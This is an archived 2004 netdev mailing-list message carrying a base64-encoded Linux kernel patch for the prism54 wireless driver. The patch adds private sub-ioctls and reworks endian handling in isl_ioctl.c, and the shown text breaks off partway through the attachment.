netdev@oss.sgi.com From: margitsw@t-online.de (Margit Schubert-While) Subject: [PATCH 2/17 linux-2.6.7-rc2] prism54: Add new private ioctls Cc: jgarzik@pobox.com Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="=====================_50342158==_" X-Seen: false X-ID: JbbAM+Z6Ze4ig4iu8jhNqI7EuyX7x2kCTcvtCdMwoAUMFwi1FtCSso X-archive-position: 5471 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: margitsw@t-online.de Precedence: bulk X-list: netdev --=====================_50342158==_ Content-Type: text/plain; charset="us-ascii"; format=flowed 2004-03-18 Aurelien Alleaume * oid_mgt.[c,h] : added type to oids. New functions : oid_cpu_to_le(), mgt_le_to_cpu() and mgt_response_to_str(). * isl_ioctl.c : use private sub-ioctls. Added a bunch of private sub-ioctls. Removed the le??_to_cpu and cpu_to_le??. Give the error code when sending wireless events. --=====================_50342158==_ Content-Type: application/octet-stream; name="02-new-private-ioctls.patch" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="02-new-private-ioctls.patch" ZGlmZiAtTmF1ckViIGxpbnV4LTIuNi42L2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNs X2lvY3RsLmMgbGludXgtMi42LjYtMDEvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xf aW9jdGwuYwotLS0gbGludXgtMi42LjYvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xf aW9jdGwuYwkyMDA0LTA1LTI4IDEzOjUzOjI5LjQwNjc5MzQ4MCArMDIwMAorKysgbGludXgtMi42 LjYtMDEvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xfaW9jdGwuYwkyMDA0LTA1LTI4 IDEzOjU2OjE2LjE2MjQ0Mjc2OCArMDIwMApAQCAtMSw3ICsxLDcgQEAKIC8qCiAgKiAgCiAgKiAg Q29weXJpZ2h0IChDKSAyMDAyIEludGVyc2lsIEFtZXJpY2FzIEluYy4KLSAqICAgICAgICAgICAg KEMpIDIwMDMgQXVyZWxpZW4gQWxsZWF1bWUgPHNsdHNAZnJlZS5mcj4KKyAqICAgICAgICAgICAg KEMpIDIwMDMsMjAwNCBBdXJlbGllbiBBbGxlYXVtZSA8c2x0c0BmcmVlLmZyPgogICogICAgICAg ICAgICAoQykgMjAwMyBIZXJiZXJ0IFZhbGVyaW8gUmllZGVsIDxodnJAZ251Lm9yZz4KICAqICAg ICAgICAgICAgKEMpIDIwMDMgTHVpcyBSLiBSb2RyaWd1ZXogPG1jZ3JvZkBydXNsdWcucnV0Z2Vy cy5lZHU+CiAgKgpAQCAtODcsOSArODcsOSBAQAogCiAJLyogRm9yIG5vdywganVzdCBjYXRjaCBl YXJseSB0aGUgUmVwZWF0ZXIgYW5kIFNlY29uZGFyeSBtb2RlcyBoZXJlICovCiAJaWYgKGl3X21v ZGUgPT0gSVdfTU9ERV9SRVBFQVQgfHwgaXdfbW9kZSA9PSBJV19NT0RFX1NFQ09ORCkgewotCQlw cmludGsoS0VSTl9ERUJVRyAiJXMoKTogU29ycnksIFJlcGVhdGVyIG1vZGUgYW5kIFNlY29uZGFy eSBtb2RlICIKLQkJCQkiYXJlIG5vdCB5ZXQgc3VwcG9ydGVkIGJ5IHRoaXMgZHJpdmVyLlxuIiwK LQkJICAgICAgIF9fRlVOQ1RJT05fXyk7CisJCXByaW50ayhLRVJOX0RFQlVHCisJCSAgICAgICAi JXMoKTogU29ycnksIFJlcGVhdGVyIG1vZGUgYW5kIFNlY29uZGFyeSBtb2RlICIKKwkJICAgICAg ICJhcmUgbm90IHlldCBzdXBwb3J0ZWQgYnkgdGhpcyBkcml2ZXIuXG4iLCBfX0ZVTkNUSU9OX18p OwogCQlyZXR1cm4gLUVJTlZBTDsKIAl9CiAKQEAgLTE0Myw4ICsxNDMsOCBAQAogewogCXUzMiB0 OwogCXN0cnVjdCBvYmpfYnVmZmVyIHBzbV9idWZmZXIgPSB7Ci0JCS5zaXplID0gY3B1X3RvX2xl MzIoUFNNX0JVRkZFUl9TSVpFKSwKLQkJLmFkZHIgPSBjcHVfdG9fbGUzMihwcml2LT5kZXZpY2Vf cHNtX2J1ZmZlcikKKwkJLnNpemUgPSBQU01fQlVGRkVSX1NJWkUsCisJCS5hZGRyID0gcHJpdi0+ ZGV2aWNlX3BzbV9idWZmZXIKIAl9OwogCiAJbWd0X3NldChwcml2LCBET1QxMV9PSURfQ0hBTk5F TCwgJmluaXRfY2hhbm5lbCk7CkBAIC0yODUsNyArMjg1LDcgQEAKIAkvKiBDb21taXQgaW4gTW9u aXRvciBtb2RlIGlzIG5vdCBuZWNlc3NhcnksIGFsc28gc2V0dGluZyBlc3NpZAogCSAqIGluIE1v bml0b3IgbW9kZSBkb2VzIG5vdCBtYWtlIHNlbnNlIGFuZCBpc24ndCBhbGxvd2VkIGZvciB0aGlz CiAJICogZGV2aWNlJ3MgZmlybXdhcmUgKi8KLQlpZihwcml2LT5pd19tb2RlICE9IElXX01PREVf TU9OSVRPUikKKwlpZiAocHJpdi0+aXdfbW9kZSAhPSBJV19NT0RFX01PTklUT1IpCiAJCXJldHVy biBtZ3Rfc2V0X3JlcXVlc3QocHJpdiwgRE9UMTFfT0lEX1NTSUQsIDAsIE5VTEwpOwogCXJldHVy biAwOwogfQpAQCAtNTMxLDIwICs1MzEsMjAgQEAKIAkgICAgbWd0X2dldF9yZXF1ZXN0KHByaXYs IERPVDExX09JRF9TVVBQT1JURURGUkVRVUVOQ0lFUywgMCwgTlVMTCwgJnIpOwogCWZyZXEgPSBy LnB0cjsKIAotCXJhbmdlLT5udW1fY2hhbm5lbHMgPSBsZTE2X3RvX2NwdShmcmVxLT5ucik7Ci0J cmFuZ2UtPm51bV9mcmVxdWVuY3kgPSBsZTE2X3RvX2NwdShmcmVxLT5ucik7CisJcmFuZ2UtPm51 bV9jaGFubmVscyA9IGZyZXEtPm5yOworCXJhbmdlLT5udW1fZnJlcXVlbmN5ID0gZnJlcS0+bnI7 CiAKIAkvKiBGcmVxdWVuY2llcyBhcmUgbm90IGxpc3RlZCBpbiB0aGUgcmlnaHQgb3JkZXIuIFRo ZSByZW9yZGVyaW5nIGlzIHByb2JhYmx5CiAJICogZmlybXdhcmUgZGVwZW5kYW50IGFuZCB0aHVz IHNob3VsZCB3b3JrIGZvciBldmVyeW9uZS4KIAkgKi8KLQltID0gbWluKElXX01BWF9GUkVRVUVO Q0lFUywgKGludCkgbGUxNl90b19jcHUoZnJlcS0+bnIpKTsKKwltID0gbWluKElXX01BWF9GUkVR VUVOQ0lFUywgKGludCkgZnJlcS0+bnIpOwogCWZvciAoaSA9IDA7IGkgPCBtIC0gMTI7IGkrKykg ewotCQlyYW5nZS0+ZnJlcVtpXS5tID0gbGUxNl90b19jcHUoZnJlcS0+bWh6WzEyICsgaV0pOwor CQlyYW5nZS0+ZnJlcVtpXS5tID0gZnJlcS0+bWh6WzEyICsgaV07CiAJCXJhbmdlLT5mcmVxW2ld LmUgPSA2OwogCQlyYW5nZS0+ZnJlcVtpXS5pID0gaSArIDE7CiAJfQogCWZvciAoaSA9IG0gLSAx MjsgaSA8IG07IGkrKykgewotCQlyYW5nZS0+ZnJlcVtpXS5tID0gbGUxNl90b19jcHUoZnJlcS0+ bWh6W2kgLSBtICsgMTJdKTsKKwkJcmFuZ2UtPmZyZXFbaV0ubSA9IGZyZXEtPm1oeltpIC0gbSAr IDEyXTsKIAkJcmFuZ2UtPmZyZXFbaV0uZSA9IDY7CiAJCXJhbmdlLT5mcmVxW2ldLmkgPSBpICsg MjM7CiAJfQpAQCAtNjU1LDcgKzY1NSw3IEBACiAjZGVmaW5lIENBUF9DUllQVCAweDEwCiAKIAkv KiBNb2RlICovCi0JY2FwID0gbGUxNl90b19jcHUoYnNzLT5jYXBpbmZvKTsKKwljYXAgPSBic3Mt PmNhcGluZm87CiAJaXdlLnUubW9kZSA9IDA7CiAJaWYgKGNhcCAmIENBUF9FU1MpCiAJCWl3ZS51 Lm1vZGUgPSBJV19NT0RFX01BU1RFUjsKQEAgLTc0Nyw3ICs3NDcsNyBAQAogCWJzc2xpc3QgPSBy LnB0cjsKIAogCS8qIG9rIG5vdywgc2NhbiB0aGUgbGlzdCBhbmQgdHJhbnNsYXRlIGl0cyBpbmZv ICovCi0JZm9yIChpID0gMDsgaSA8IG1pbihJV19NQVhfQVAsIChpbnQpIGxlMzJfdG9fY3B1KGJz c2xpc3QtPm5yKSk7IGkrKykKKwlmb3IgKGkgPSAwOyBpIDwgbWluKElXX01BWF9BUCwgKGludCkg YnNzbGlzdC0+bnIpOyBpKyspCiAJCWN1cnJlbnRfZXYgPSBwcmlzbTU0X3RyYW5zbGF0ZV9ic3Mo bmRldiwgY3VycmVudF9ldiwKIAkJCQkJCSAgIGV4dHJhICsgSVdfU0NBTl9NQVhfREFUQSwKIAkJ CQkJCSAgICYoYnNzbGlzdC0+YnNzbGlzdFtpXSksCkBAIC04NjksMjUgKzg2OSwyNiBAQAogCQly ZXR1cm4gbWd0X3NldF9yZXF1ZXN0KHByaXYsIERPVDExX09JRF9QUk9GSUxFUywgMCwgJnByb2Zp bGUpOwogCX0KIAkKLQlpZigocmV0ID0gbWd0X2dldF9yZXF1ZXN0KHByaXYsIERPVDExX09JRF9T VVBQT1JURURSQVRFUywgMCwgTlVMTCwgJnIpKSkKKwlpZiAoKHJldCA9CisJICAgICBtZ3RfZ2V0 X3JlcXVlc3QocHJpdiwgRE9UMTFfT0lEX1NVUFBPUlRFRFJBVEVTLCAwLCBOVUxMLCAmcikpKQog CQlyZXR1cm4gcmV0OwogCQkKIAlyYXRlID0gKHUzMikgKHZ3cnEtPnZhbHVlIC8gNTAwMDAwKTsK IAlkYXRhID0gci5wdHI7CiAJaSA9IDA7CiAJCi0Jd2hpbGUoZGF0YVtpXSkgewotCQlpZihyYXRl ICYmIChkYXRhW2ldID09IHJhdGUpKSB7CisJd2hpbGUgKGRhdGFbaV0pIHsKKwkJaWYgKHJhdGUg JiYgKGRhdGFbaV0gPT0gcmF0ZSkpIHsKIAkJCWJyZWFrOwogCQl9Ci0JCWlmKHZ3cnEtPnZhbHVl ID09IGkpIHsKKwkJaWYgKHZ3cnEtPnZhbHVlID09IGkpIHsKIAkJCWJyZWFrOwogCQl9CiAJCWRh dGFbaV0gfD0gMHg4MDsKIAkJaSsrOwogCX0KIAkJCi0JaWYoIWRhdGFbaV0pIHsKKwlpZiAoIWRh dGFbaV0pIHsKIAkJcmV0dXJuIC1FSU5WQUw7CiAJfQogCQpAQCAtOTMxLDEyICs5MzIsMTIgQEAK IAl1bmlvbiBvaWRfcmVzX3QgcjsKIAogCS8qIEdldCB0aGUgY3VycmVudCBiaXQgcmF0ZSAqLwot CWlmKChydmFsdWUgPSBtZ3RfZ2V0X3JlcXVlc3QocHJpdiwgR0VOX09JRF9MSU5LU1RBVEUsIDAs IE5VTEwsICZyKSkpCisJaWYgKChydmFsdWUgPSBtZ3RfZ2V0X3JlcXVlc3QocHJpdiwgR0VOX09J RF9MSU5LU1RBVEUsIDAsIE5VTEwsICZyKSkpCiAJCXJldHVybiBydmFsdWU7CiAJdndycS0+dmFs dWUgPSByLnUgKiA1MDAwMDA7CiAKIAkvKiByZXF1ZXN0IHRoZSBkZXZpY2UgZm9yIHRoZSBlbmFi bGVkIHJhdGVzICovCi0JaWYoKHJ2YWx1ZSA9IG1ndF9nZXRfcmVxdWVzdChwcml2LCBET1QxMV9P SURfUkFURVMsIDAsIE5VTEwsICZyKSkpCisJaWYgKChydmFsdWUgPSBtZ3RfZ2V0X3JlcXVlc3Qo cHJpdiwgRE9UMTFfT0lEX1JBVEVTLCAwLCBOVUxMLCAmcikpKQogCQlyZXR1cm4gcnZhbHVlOwog CWRhdGEgPSByLnB0cjsKIAl2d3JxLT5maXhlZCA9IChkYXRhWzBdICE9IDApICYmIChkYXRhWzFd ID09IDApOwpAQCAtMTIyNSw3ICsxMjI2LDcgQEAKIAogCXJ2YWx1ZSA9IG1ndF9nZXRfcmVxdWVz dChwcml2LCBPSURfSU5MX09VVFBVVFBPV0VSLCAwLCBOVUxMLCAmcik7CiAJLyogaW50ZXJzaWwg ZmlybXdhcmUgb3BlcmF0ZXMgaW4gMC4yNSBkQm0gKDEvNCBkQm0pICovCi0JdndycS0+dmFsdWUg PSAoczMyKXIudSAvIDQ7CisJdndycS0+dmFsdWUgPSAoczMyKSByLnUgLyA0OwogCXZ3cnEtPmZp eGVkID0gMTsKIAkvKiByYWRpbyBpcyBub3QgdHVybmVkIG9mCiAJICogYnR3OiBob3cgaXMgcG9z c2libGUgdG8gdHVybiBvZmYgb25seSB0aGUgcmFkaW8gCkBAIC0xMjcxLDI4ICsxMjcyLDQxIEBA CiB9CiAKIHN0YXRpYyBpbnQKLXByaXNtNTRfc2V0X2JlYWNvbihzdHJ1Y3QgbmV0X2RldmljZSAq bmRldiwgc3RydWN0IGl3X3JlcXVlc3RfaW5mbyAqaW5mbywKLQkJICAgX191MzIgKiB1d3JxLCBj aGFyICpleHRyYSkKK3ByaXNtNTRfZ2V0X29pZChzdHJ1Y3QgbmV0X2RldmljZSAqbmRldiwgc3Ry dWN0IGl3X3JlcXVlc3RfaW5mbyAqaW5mbywKKwkJc3RydWN0IGl3X3BvaW50ICpkd3JxLCBjaGFy ICpleHRyYSkKIHsKLQlpbnQgcnZhbHVlID0gbWd0X3NldF9yZXF1ZXN0KChpc2xwY2lfcHJpdmF0 ZSAqKSBuZXRkZXZfcHJpdihuZGV2KSwKLQkJCQkgICAgIERPVDExX09JRF9CRUFDT05QRVJJT0Qs IDAsIHV3cnEpOworCXVuaW9uIG9pZF9yZXNfdCByOworCWludCBydmFsdWU7CisJZW51bSBvaWRf bnVtX3QgbiA9IGR3cnEtPmZsYWdzOwogCi0JcmV0dXJuIChydmFsdWUgPyBydmFsdWUgOiAtRUlO UFJPR1JFU1MpOworCXJ2YWx1ZSA9IG1ndF9nZXRfcmVxdWVzdCgoaXNscGNpX3ByaXZhdGUgKikg bmRldi0+cHJpdiwgbiwgMCwgTlVMTCwgJnIpOworCWR3cnEtPmxlbmd0aCA9IG1ndF9yZXNwb25z ZV90b19zdHIobiwgJnIsIGV4dHJhKTsKKwlpZiAoKGlzbF9vaWRbbl0uZmxhZ3MgJiBPSURfRkxB R19UWVBFKSAhPSBPSURfVFlQRV9VMzIpCisJCWtmcmVlKHIucHRyKTsKKwlyZXR1cm4gcnZhbHVl OwogfQogCiBzdGF0aWMgaW50Ci1wcmlzbTU0X2dldF9iZWFjb24oc3RydWN0IG5ldF9kZXZpY2Ug Km5kZXYsIHN0cnVjdCBpd19yZXF1ZXN0X2luZm8gKmluZm8sCitwcmlzbTU0X3NldF91MzIoc3Ry dWN0IG5ldF9kZXZpY2UgKm5kZXYsIHN0cnVjdCBpd19yZXF1ZXN0X2luZm8gKmluZm8sCiAJCSAg IF9fdTMyICogdXdycSwgY2hhciAqZXh0cmEpCiB7Ci0JdW5pb24gb2lkX3Jlc190IHI7Ci0JaW50 IHJ2YWx1ZTsKKwkvKgorCSAgIHUzMiAqaSA9IChpbnQgKikgZXh0cmE7CisJICAgaW50IHBhcmFt ID0gKmk7CisJICAgaW50IHUgPSAqKGkgKyAxKTsKKwkgKi8KKwl1MzIgb2lkID0gdXdycVswXSwg dSA9IHV3cnFbMV07CiAKLQlydmFsdWUgPQotCSAgICBtZ3RfZ2V0X3JlcXVlc3QoKGlzbHBjaV9w cml2YXRlICopIG5ldGRldl9wcml2KG5kZXYpLAotCQkJICAgIERPVDExX09JRF9CRUFDT05QRVJJ T0QsIDAsIE5VTEwsICZyKTsKLQkqdXdycSA9IHIudTsKKwlyZXR1cm4gbWd0X3NldF9yZXF1ZXN0 KChpc2xwY2lfcHJpdmF0ZSAqKSBuZGV2LT5wcml2LCBvaWQsIDAsICZ1KTsKK30KIAotCXJldHVy biBydmFsdWU7CitzdGF0aWMgaW50CitwcmlzbTU0X3NldF9yYXcoc3RydWN0IG5ldF9kZXZpY2Ug Km5kZXYsIHN0cnVjdCBpd19yZXF1ZXN0X2luZm8gKmluZm8sCisJCXN0cnVjdCBpd19wb2ludCAq ZHdycSwgY2hhciAqZXh0cmEpCit7CisJdTMyIG9pZCA9IGR3cnEtPmZsYWdzOworCisJcmV0dXJu IG1ndF9zZXRfcmVxdWVzdCgoaXNscGNpX3ByaXZhdGUgKikgbmRldi0+cHJpdiwgb2lkLCAwLCBl eHRyYSk7CiB9CiAKIHZvaWQKQEAgLTE1MTEsOCArMTUyNSw5IEBACiAJCXJldHVybiAtRU5PTUVN OwogCiAJLyogVGVsbCB0aGUgY2FyZCB0byBraWNrIGV2ZXJ5IGNsaWVudCAqLwotCW1sbWUtPmlk ID0gY3B1X3RvX2xlMTYoMCk7Ci0JcnZhbHVlID0gbWd0X3NldF9yZXF1ZXN0KG5ldGRldl9wcml2 KG5kZXYpLCBET1QxMV9PSURfRElTQVNTT0NJQVRFLCAwLCBtbG1lKTsKKwltbG1lLT5pZCA9IDA7 CisJcnZhbHVlID0KKwkgICAgbWd0X3NldF9yZXF1ZXN0KG5ldGRldl9wcml2KG5kZXYpLCBET1Qx MV9PSURfRElTQVNTT0NJQVRFLCAwLCBtbG1lKTsKIAlrZnJlZShtbG1lKTsKIAogCXJldHVybiBy dmFsdWU7CkBAIC0xNTM1LDggKzE1NTAsOSBAQAogCiAJLyogVGVsbCB0aGUgY2FyZCB0byBvbmx5 IGtpY2sgdGhlIGNvcnJlc3BvbmRpbmcgYmFzdGFyZCAqLwogCW1lbWNweShtbG1lLT5hZGRyZXNz LCBhZGRyLT5zYV9kYXRhLCBFVEhfQUxFTik7Ci0JbWxtZS0+aWQgPSBjcHVfdG9fbGUxNigtMSk7 Ci0JcnZhbHVlID0gbWd0X3NldF9yZXF1ZXN0KG5ldGRldl9wcml2KG5kZXYpLCBET1QxMV9PSURf RElTQVNTT0NJQVRFLCAwLCBtbG1lKTsKKwltbG1lLT5pZCA9IC0xOworCXJ2YWx1ZSA9CisJICAg IG1ndF9zZXRfcmVxdWVzdChuZXRkZXZfcHJpdihuZGV2KSwgRE9UMTFfT0lEX0RJU0FTU09DSUFU RSwgMCwgbWxtZSk7CiAKIAlrZnJlZShtbG1lKTsKIApAQCAtMTU1MSwxMiArMTU2NywxMiBAQAog ewogCWNvbnN0IHU4ICphID0gbWxtZS0+YWRkcmVzczsKIAlpbnQgbiA9IHNucHJpbnRmKGRlc3Qs IElXX0NVU1RPTV9NQVgsCi0JCQkgIiVzICVzICUyLjJYOiUyLjJYOiUyLjJYOiUyLjJYOiUyLjJY OiUyLjJYICVzIiwKKwkJCSAiJXMgJXMgJTIuMlg6JTIuMlg6JTIuMlg6JTIuMlg6JTIuMlg6JTIu MlggJXMgKCUyLjJYKSIsCiAJCQkgc3RyLAotCQkJICgocHJpdi0+aXdfbW9kZSA9PSBJV19NT0RF X01BU1RFUikgPyAidG8iIDogImZyb20iKSwKKwkJCSAoKHByaXYtPml3X21vZGUgPT0gSVdfTU9E RV9NQVNURVIpID8gImZyb20iIDogInRvIiksCiAJCQkgYVswXSwgYVsxXSwgYVsyXSwgYVszXSwg YVs0XSwgYVs1XSwKIAkJCSAoZXJyb3IgPyAobWxtZS0+Y29kZSA/ICIgOiBSRUpFQ1RFRCAiIDog IiA6IEFDQ0VQVEVEICIpCi0JCQkgIDogIiIpKTsKKwkJCSAgOiAiIiksIG1sbWUtPmNvZGUpOwog CUJVR19PTihuID4gSVdfQ1VTVE9NX01BWCk7CiAJKmxlbmd0aCA9IG47CiB9CkBAIC0xNTk4LDE0 ICsxNjE0LDE1IEBACiB7CiAJaXNscGNpX3ByaXZhdGUgKnByaXYgPSBuZXRkZXZfcHJpdihuZGV2 KTsKIAotCWlmIChsZTMyX3RvX2NwdShiaXRyYXRlKSkgeworCWlmIChiaXRyYXRlKSB7CiAJCWlm IChwcml2LT5pd19tb2RlID09IElXX01PREVfSU5GUkEpIHsKIAkJCXVuaW9uIGl3cmVxX2RhdGEg dXdycTsKIAkJCXByaXNtNTRfZ2V0X3dhcChuZGV2LCBOVUxMLCAoc3RydWN0IHNvY2thZGRyICop ICZ1d3JxLAogCQkJCQlOVUxMKTsKIAkJCXdpcmVsZXNzX3NlbmRfZXZlbnQobmRldiwgU0lPQ0dJ V0FQLCAmdXdycSwgTlVMTCk7CiAJCX0gZWxzZQotCQkJc2VuZF9zaW1wbGVfZXZlbnQobmV0ZGV2 X3ByaXYobmRldiksICJMaW5rIGVzdGFibGlzaGVkIik7CisJCQlzZW5kX3NpbXBsZV9ldmVudChu ZXRkZXZfcHJpdihuZGV2KSwKKwkJCQkJICAiTGluayBlc3RhYmxpc2hlZCIpOwogCX0gZWxzZQog CQlzZW5kX3NpbXBsZV9ldmVudChuZXRkZXZfcHJpdihuZGV2KSwgIkxpbmsgbG9zdCIpOwogfQpA QCAtMTc2NSwxNSArMTc4MiwxNCBAQAogc3RhdGljIHZvaWQKIGhhbmRsZV9yZXF1ZXN0KGlzbHBj aV9wcml2YXRlICpwcml2LCBzdHJ1Y3Qgb2JqX21sbWUgKm1sbWUsIGVudW0gb2lkX251bV90IG9p ZCkKIHsKLQlpZiAoKChsZTE2X3RvX2NwdShtbG1lLT5zdGF0ZSkgPT0gRE9UMTFfU1RBVEVfQVVU SElORykgfHwKLQkgICAgIChsZTE2X3RvX2NwdShtbG1lLT5zdGF0ZSkgPT0gRE9UMTFfU1RBVEVf QVNTT0NJTkcpKQorCWlmICgoKG1sbWUtPnN0YXRlID09IERPVDExX1NUQVRFX0FVVEhJTkcpIHx8 CisJICAgICAobWxtZS0+c3RhdGUgPT0gRE9UMTFfU1RBVEVfQVNTT0NJTkcpKQogCSAgICAmJiBt Z3RfbWxtZV9hbnN3ZXIocHJpdikpIHsKIAkJLyogU29tZW9uZSBpcyByZXF1ZXN0aW5nIGF1dGgg YW5kIHdlIG11c3QgcmVzcG9uZC4gSnVzdCBzZW5kIGJhY2sKIAkJICogdGhlIHRyYXAgd2l0aCBl cnJvciBjb2RlIHNldCBhY2NvcmRpbmdseS4KIAkJICovCi0JCW1sbWUtPmNvZGUgPSBjcHVfdG9f bGUxNihwcmlzbTU0X21hY19hY2NlcHQoJnByaXYtPmFjbCwKLQkJCQkJCQkgICAgbWxtZS0+Ci0J CQkJCQkJICAgIGFkZHJlc3MpID8gMCA6IDEpOworCQltbG1lLT5jb2RlID0gcHJpc201NF9tYWNf YWNjZXB0KCZwcml2LT5hY2wsCisJCQkJCQltbG1lLT5hZGRyZXNzKSA/IDAgOiAxOwogCQltZ3Rf c2V0X3JlcXVlc3QocHJpdiwgb2lkLCAwLCBtbG1lKTsKIAl9CiB9CkBAIC0xNzk3LDYgKzE4MTMs MTMgQEAKIAkgKiBzdWl0ZWQuIFdlIHVzZSB0aGUgbW9yZSBmbGV4aWJsZSBjdXN0b20gZXZlbnQg ZmFjaWxpdHkuCiAJICovCiAKKwkvKiBJIGZlYXIgcHJpc201NF9wcm9jZXNzX2Jzc19kYXRhIHdv bid0IHdvcmsgd2l0aCBiaWcgZW5kaWFuIGRhdGEgKi8KKwlpZiAoKG9pZCA9PSBET1QxMV9PSURf QkVBQ09OKSB8fCAob2lkID09IERPVDExX09JRF9QUk9CRSkpCisJCXByaXNtNTRfcHJvY2Vzc19i c3NfZGF0YShwcml2LCBvaWQsIG1sbWUtPmFkZHJlc3MsCisJCQkJCSBwYXlsb2FkLCBsZW4pOwor CisJbWd0X2xlX3RvX2NwdShpc2xfb2lkW29pZF0uZmxhZ3MgJiBPSURfRkxBR19UWVBFLCAodm9p ZCAqKSBtbG1lKTsKKwogCXN3aXRjaCAob2lkKSB7CiAKIAljYXNlIEdFTl9PSURfTElOS1NUQVRF OgpAQCAtMTgzMSw4ICsxODU0LDYgQEAKIAkJYnJlYWs7CiAKIAljYXNlIERPVDExX09JRF9CRUFD T046Ci0JCXByaXNtNTRfcHJvY2Vzc19ic3NfZGF0YShwcml2LCBvaWQsIG1sbWUtPmFkZHJlc3Ms Ci0JCQkJCSBwYXlsb2FkLCBsZW4pOwogCQlzZW5kX2Zvcm1hdHRlZF9ldmVudChwcml2LAogCQkJ CSAgICAgIlJlY2VpdmVkIGEgYmVhY29uIGZyb20gYW4gdW5rb3duIEFQIiwKIAkJCQkgICAgIG1s bWUsIDApOwpAQCAtMTg0MCw4ICsxODYxLDYgQEAKIAogCWNhc2UgRE9UMTFfT0lEX1BST0JFOgog CQkvKiB3ZSByZWNlaXZlZCBhIHByb2JlIGZyb20gYSBjbGllbnQuICovCi0JCXByaXNtNTRfcHJv Y2Vzc19ic3NfZGF0YShwcml2LCBvaWQsIG1sbWUtPmFkZHJlc3MsCi0JCQkJCSBwYXlsb2FkLCBs ZW4pOwogCQlzZW5kX2Zvcm1hdHRlZF9ldmVudChwcml2LCAiUmVjZWl2ZWQgYSBwcm9iZSBmcm9t IGNsaWVudCIsIG1sbWUsCiAJCQkJICAgICAwKTsKIAkJYnJlYWs7CkBAIC0xOTE1LDEzICsxOTM0 LDYgQEAKIH0KIAogaW50Ci1wcmlzbTU0X2lvY3RsKHN0cnVjdCBuZXRfZGV2aWNlICpuZGV2LCBz dHJ1Y3QgaWZyZXEgKnJxLCBpbnQgY21kKQotewotCS8qIHNob3VsZCB3ZSByZWFsbHkgc3VwcG9y dCB0aGlzIG9sZCBzdHVmZiA/ICovCi0JcmV0dXJuIC1FT1BOT1RTVVBQOwotfQotCi1pbnQKIHBy aXNtNTRfc2V0X3dwYShzdHJ1Y3QgbmV0X2RldmljZSAqbmRldiwgc3RydWN0IGl3X3JlcXVlc3Rf aW5mbyAqaW5mbywKIAkJX191MzIgKiB1d3JxLCBjaGFyICpleHRyYSkKIHsKQEAgLTE5NTIsNyAr MTk2NCw3IEBACiAKIGludAogcHJpc201NF9zZXRfbWF4ZnJhbWVidXJzdChzdHJ1Y3QgbmV0X2Rl dmljZSAqbmRldiwgc3RydWN0IGl3X3JlcXVlc3RfaW5mbyAqaW5mbywKLQkJX191MzIgKnV3cnEs IGNoYXIgKmV4dHJhKQorCQkJICBfX3UzMiAqIHV3cnEsIGNoYXIgKmV4dHJhKQogewogCWlzbHBj aV9wcml2YXRlICpwcml2ID0gbmV0ZGV2X3ByaXYobmRldik7CiAJdTMyIG1heF9idXJzdDsKQEAg LTE5NjUsNyArMTk3Nyw3IEBACiAKIGludAogcHJpc201NF9nZXRfbWF4ZnJhbWVidXJzdChzdHJ1 Y3QgbmV0X2RldmljZSAqbmRldiwgc3RydWN0IGl3X3JlcXVlc3RfaW5mbyAqaW5mbywKLQkJX191 MzIgKnV3cnEsIGNoYXIgKmV4dHJhKQorCQkJICBfX3UzMiAqIHV3cnEsIGNoYXIgKmV4dHJhKQog ewogCWlzbHBjaV9wcml2YXRlICpwcml2ID0gbmV0ZGV2X3ByaXYobmRldik7CiAJdW5pb24gb2lk X3Jlc190IHI7CkBAIC0xOTc5LDcgKzE5OTEsNyBAQAogCiBpbnQKIHByaXNtNTRfc2V0X3Byb2Zp bGUoc3RydWN0IG5ldF9kZXZpY2UgKm5kZXYsIHN0cnVjdCBpd19yZXF1ZXN0X2luZm8gKmluZm8s Ci0JCV9fdTMyICp1d3JxLCBjaGFyICpleHRyYSkKKwkJICAgIF9fdTMyICogdXdycSwgY2hhciAq ZXh0cmEpCiB7CiAJaXNscGNpX3ByaXZhdGUgKnByaXYgPSBuZXRkZXZfcHJpdihuZGV2KTsKIAl1 MzIgcHJvZmlsZTsKQEAgLTE5OTIsNyArMjAwNCw3IEBACiAKIGludAogcHJpc201NF9nZXRfcHJv ZmlsZShzdHJ1Y3QgbmV0X2RldmljZSAqbmRldiwgc3RydWN0IGl3X3JlcXVlc3RfaW5mbyAqaW5m bywKLQkJX191MzIgKnV3cnEsIGNoYXIgKmV4dHJhKQorCQkgICAgX191MzIgKiB1d3JxLCBjaGFy ICpleHRyYSkKIHsKIAlpc2xwY2lfcHJpdmF0ZSAqcHJpdiA9IG5ldGRldl9wcml2KG5kZXYpOwog CXVuaW9uIG9pZF9yZXNfdCByOwpAQCAtMjAwNSw4ICsyMDE3LDggQEAKIH0KIAogaW50Ci1wcmlz bTU0X29pZChzdHJ1Y3QgbmV0X2RldmljZSAqbmRldiwgc3RydWN0IGl3X3JlcXVlc3RfaW5mbyAq aW5mbywKLQkJX191MzIgKnV3cnEsIGNoYXIgKmV4dHJhKQorcHJpc201NF9kZWJ1Z19vaWQoc3Ry dWN0IG5ldF9kZXZpY2UgKm5kZXYsIHN0cnVjdCBpd19yZXF1ZXN0X2luZm8gKmluZm8sCisJCSAg X191MzIgKiB1d3JxLCBjaGFyICpleHRyYSkKIHsKIAlpc2xwY2lfcHJpdmF0ZSAqcHJpdiA9IG5l dGRldl9wcml2KG5kZXYpOwogCQpAQCAtMjAxNyw3ICsyMDI5LDcgQEAKIH0KIAogaW50Ci1wcmlz bTU0X2dldF9vaWQoc3RydWN0IG5ldF9kZXZpY2UgKm5kZXYsIHN0cnVjdCBpd19yZXF1ZXN0X2lu Zm8gKmluZm8sCitwcmlzbTU0X2RlYnVnX2dldF9vaWQoc3RydWN0IG5ldF9kZXZpY2UgKm5kZXYs IHN0cnVjdCBpd19yZXF1ZXN0X2luZm8gKmluZm8sCiAJCXN0cnVjdCBpd19wb2ludCAqZGF0YSwg Y2hhciAqZXh0cmEpCiB7CiAJaXNscGNpX3ByaXZhdGUgKnByaXYgPSBuZXRkZXZfcHJpdihuZGV2 KTsKQEAgLTIwMjgsMTEgKzIwNDAsMTUgQEAKIAlkYXRhLT5sZW5ndGggPSAwOwogCQogCWlmIChp 